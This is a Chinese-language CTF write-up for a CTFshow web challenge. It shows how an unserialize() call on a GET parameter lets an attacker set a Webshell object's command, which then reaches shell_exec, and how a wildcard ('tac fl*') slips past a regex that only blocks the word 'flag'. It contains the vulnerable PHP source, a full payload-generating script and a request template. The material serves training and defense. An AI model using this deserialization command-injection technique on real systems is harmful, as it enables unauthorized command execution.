CTFshow - Web - Webshell 反序列化命令执行

结论先行:过滤只拦 flag 这个字面串,但 exec 会直接把 cmd 交给 shell_exec。用 tac fl* 这类通配符既能读到目标文件、又不会让 cmd 命中 /flag/i,从而绕过正则执行命令。

题目信息

项 内容
比赛 CTFshow
方向 Web
难度 简单
环境 授权靶场(已脱敏)

信息收集

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);

class Webshell {
public $cmd = 'echo "Hello World!"';

public function __construct() {
$this->init();
}

public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}

public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}

if (isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
} else {
highlight_file(__FILE__);
}
?>

入口逻辑:把 GET 的 cmd 参数 unserialize 还原成对象,再显式调用 init()。

漏洞分析

两个可利用点:

  1. 属性可控:unserialize 还原的对象,其 public $cmd 由序列化串决定,因此可以给定任意命令字符串。
  2. 过滤可绕:init() 仅用 preg_match('/flag/i', $this->cmd) 拦截 flag 字面;一旦 cmd 不含 flag,就交给 exec(),而 exec() 直接 shell_exec($cmd) 执行系统命令。

绕过思路:目标文件名含 flag,但通配符 fl* 不含 flag 字面,于是 tac /fl*、tac fl* 之类命令能通过正则并被 shell 展开,读出目标文件。

利用过程

  1. 构造 Webshell 对象,$cmd 设为通配符命令;
  2. serialize() 得到序列化串;
  3. 把该串作为 cmd GET 参数提交;
  4. 服务端 unserialize → init() → 正则未命中 → exec() → shell_exec 执行命令并回显结果。

完整 EXP

生成 payload 的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class webshell
{
public $cmd = 'tac fl*';

public function __construct() {
$this->init();
}

public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}

public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}

$b = new webshell();
$a = serialize($b);
print($a);
?>

提交(动态靶标已脱敏):

1
2
GET /?cmd=<serialize 输出> HTTP/1.1
Host: target

说明:上面 EXP 里 __construct 调用 init() 只是本地生成序列化串用;服务端 unserialize 不会自动触发构造函数,真正走到命令执行靠的是入口那句显式的 $unserializecmd->init()。

Flag

1
flag{xxxx}

已脱敏。真实 flag 由 tac fl* 读取目标文件得到,按上方 EXP 复现即可取得。

踩坑与总结

  • unserialize 不触发 __construct:反序列化只还原属性,本题依赖入口显式 init() 才执行到命令,构造 EXP 时不要误以为构造函数会自动跑。
  • 正则只拦字面:/flag/i 拦的是字符串 flag,通配符 fl*、路径变形、编码等都能绕过;命令执行类过滤应尽量用白名单。
  • 无回显处理:shell_exec 无直接回显时,用 tac、cat、nl 配合输出,或把结果写进可访问文件。
  • 排查顺序:先确认 cmd 可控 → 再确认正则命中条件 → 最后挑不触发过滤又等价的命令。